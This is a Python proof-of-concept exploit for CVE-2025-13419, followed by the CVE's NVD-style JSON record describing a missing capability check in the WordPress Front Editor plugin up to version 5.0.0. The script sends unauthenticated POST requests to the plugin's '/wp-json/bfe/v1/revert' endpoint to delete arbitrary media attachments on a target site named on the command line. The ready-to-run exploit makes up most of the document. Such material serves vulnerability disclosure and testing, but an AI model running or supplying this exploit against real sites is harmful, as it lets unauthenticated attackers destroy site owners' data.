CVE-2025-13419

import requests import sys # CVE-2025-13419 PoC - Unauthenticated Media Attachment Deletion # Target: WordPress Front Editor Plugin <= 5.0.0 # Endpoint: /wp-json/bfe/v1/revert def delete_media(target_url, attachment_id): """ Delete arbitrary media attachment without authentication """ endpoint = f"{target_url}/wp-json/bfe/v1/revert" # Prepare the request payload with attachment ID payload = { "id": attachment_id, "force": True } headers = { "Content-Type": "application/json", "X-WP-Nonce": "" # No nonce required due to missing capability check } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully deleted attachment ID: {attachment_id}") return True else: print(f"[-] Failed to delete attachment. Status: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13419.py <target_url> <attachment_id>") print("Example: python cve-2025-13419.py http://example.com 123") sys.exit(1) target = sys.argv[1] attachment_id = int(sys.argv[2]) print(f"[*] Targeting: {target}") print(f"[*] Attempting to delete attachment ID: {attachment_id}") delete_media(target, attachment_id)

{"cve": {"id": "CVE-2025-13419", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:47.880", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Guest posting / Frontend Posting / Front Editor – WP Front User Submit plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the '/wp-json/bfe/v1/revert' REST API endpoint in all versions up to, and including, 5.0.0. This makes it possible for unauthenticated attackers to delete arbitrary media attachments."}, {"lang": "es", "value": "El plugin Guest posting / Frontend Posting / Front Editor – WP Front User Submit para WordPress es vulnerable a la modificación no autorizada de datos debido a una comprobación de capacidad faltante en el endpoint de la API REST '/wp-json/bfe/v1/revert' en todas las versiones hasta la 5.0.0, inclusive. Esto hace posible que atacantes no autenticados eliminen archivos adjuntos multimedia arbitrarios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3432207%40front-editor&new=3432207%40front-editor&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/874b3448-df4c-49c4-bf4f-435cf48f6305?source=cve", "source": "[email protected]"}]}}